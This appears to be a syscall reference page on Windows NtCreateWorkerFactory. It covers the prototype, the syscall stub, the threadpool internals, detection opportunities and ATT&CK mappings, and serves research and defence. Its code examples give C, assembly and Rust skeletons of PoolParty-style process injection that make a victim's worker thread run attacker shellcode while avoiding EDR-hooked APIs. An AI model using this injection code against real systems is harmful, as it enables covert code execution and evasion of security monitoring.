NtCreateWorkerFactory

Prototype

NTSTATUS NtCreateWorkerFactory(
  PHANDLE             WorkerFactoryHandleReturn,
  ACCESS_MASK         DesiredAccess,
  POBJECT_ATTRIBUTES  ObjectAttributes,
  HANDLE              CompletionPortHandle,
  HANDLE              WorkerProcessHandle,
  PVOID               StartRoutine,
  PVOID               StartParameter,
  ULONG               MaxThreadCount,
  SIZE_T              StackReserve,
  SIZE_T              StackCommit
);

Arguments

Syscall IDs by Windows version

Syscall stub

4C 8B D1            mov r10, rcx
B8 D5 00 00 00      mov eax, 0xD5
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

NtCreateWorkerFactory is the kernel half of the user-mode Windows threadpool: every `CreateThreadpool`, `CreateThreadpoolWork`, `SubmitThreadpoolWork` call in kernel32 / ntdll ultimately drives a `WorkerFactory` object via this syscall. The factory ties together an I/O completion port (source of work items), a target process for worker threads, and a `StartRoutine` invoked when threads come online. For legitimate code that StartRoutine is `ntdll!TppWorkerThread`, which then loops in `NtWaitForWorkViaWorkerFactory` waiting for callback dispatches. The undocumented design — a single syscall that creates threads in an arbitrary process with an arbitrary entry point — is what makes it a powerful injection primitive, and the syscall number drifts almost every feature release.

Common malware usage

This is the foundation of the PoolParty injection family disclosed by Alon Leviev (SafeBreach) at Black Hat Europe 2023. The canonical variant: open a handle to a remote process, create an I/O completion port and worker factory in that process with `StartRoutine` pointing at attacker-supplied shellcode in the remote address space, then post work to wake threads. The result is code execution in the target *without ever calling* `NtCreateThreadEx`, `NtQueueApcThread`, `NtSetContextThread`, `CreateRemoteThread`, `RtlCreateUserThread`, `NtMapViewOfSection`, or any of the seven or eight thread-creation primitives that almost every EDR hooks. Eight distinct PoolParty variants (worker factory direct, worker via TP_WORK, worker via TP_WAIT, worker via TP_IO, worker via TP_TIMER, worker via TP_ALPC, worker via TP_JOB, worker via completion port) all bottom out here.

Detection opportunities

Worker factory creation that crosses process boundaries is the single highest-fidelity signal. Cross-process `NtCreateWorkerFactory` (where `WorkerProcessHandle` does not refer to the calling process) is essentially unheard of outside attack tooling. ETW provides limited coverage — the Microsoft-Windows-Threading provider emits some worker factory events but not the syscall itself; the Threat-Intelligence provider does not currently cover this primitive. Practical detection: kernel callback inspection of the `WorkerFactory` object's `ProcessHandle` against the creator EPROCESS, or user-mode hooking of ntdll!NtCreateWorkerFactory (which direct syscalls bypass — at which point you need the kernel-side approach). VAD scanning of the target process for RX regions backed by no image followed by a worker factory referencing that region is the cleanest post-facto hunt.

Direct syscall examples

// PoolParty 'Worker Factory Start Routine Overwrite' skeleton.
// Assumes hProc opened with PROCESS_ALL_ACCESS, shellcode already written
// to pRemoteShellcode (RX) in the victim.

HANDLE hIoCompletion = NULL;
IO_STATUS_BLOCK iosb;
OBJECT_ATTRIBUTES oa; InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);

// 1. Create an I/O completion port in *our* process — the kernel just needs a handle.
NtCreateIoCompletion(&hIoCompletion, IO_COMPLETION_ALL_ACCESS, &oa, 0);

// 2. Duplicate it into the victim so the worker factory there can consume it.
HANDLE hRemoteIoCompletion = NULL;
NtDuplicateObject(NtCurrentProcess(), hIoCompletion, hProc, &hRemoteIoCompletion,
                  0, 0, DUPLICATE_SAME_ACCESS);

// 3. Create the worker factory in the victim. StartRoutine = shellcode.
HANDLE hWorkerFactory = NULL;
NtCreateWorkerFactory(&hWorkerFactory,
                      WORKER_FACTORY_ALL_ACCESS, NULL,
                      hRemoteIoCompletion,
                      hProc,                    // <-- victim process
                      pRemoteShellcode,         // <-- attacker payload
                      NULL,                     // StartParameter
                      1, 0x100000, 0x10000);

// 4. Post a single work item — wakes one worker thread, which jumps to shellcode.
NtSetIoCompletion(hIoCompletion, NULL, NULL, STATUS_SUCCESS, 1);

; NtCreateWorkerFactory direct syscall — SSN drifts per build, resolve dynamically in production.
NtCreateWorkerFactory PROC
    mov  r10, rcx
    mov  eax, 0D5h     ; Win11 24H2 / Server 2025
    syscall
    ret
NtCreateWorkerFactory ENDP

// Cargo: windows-sys = "0.59" ; ntapi = "0.4" for the prototype.
// Demonstrates the cross-process flag — flagged by Sysmon EID 10 on the OpenProcess.
use ntapi::ntpsapi::NtCurrentProcess;
use ntapi::ntexapi::NtCreateWorkerFactory;
use windows_sys::Win32::Foundation::HANDLE;

unsafe fn spawn_remote_worker(
    victim: HANDLE,
    remote_iocp: HANDLE,
    remote_payload: *mut core::ffi::c_void,
) -> HANDLE {
    let mut wf: HANDLE = 0;
    let status = NtCreateWorkerFactory(
        &mut wf as *mut _ as *mut _,
        0x000F00FF, // WORKER_FACTORY_ALL_ACCESS
        core::ptr::null_mut(),
        remote_iocp,
        victim,
        remote_payload,
        core::ptr::null_mut(),
        1,
        0x100000,
        0x10000,
    );
    assert_eq!(status, 0, "NtCreateWorkerFactory failed: {status:#x}");
    wf
}

MITRE ATT&CK mappings

• T1055Process Injectionmitre ↗
• T1106Native APImitre ↗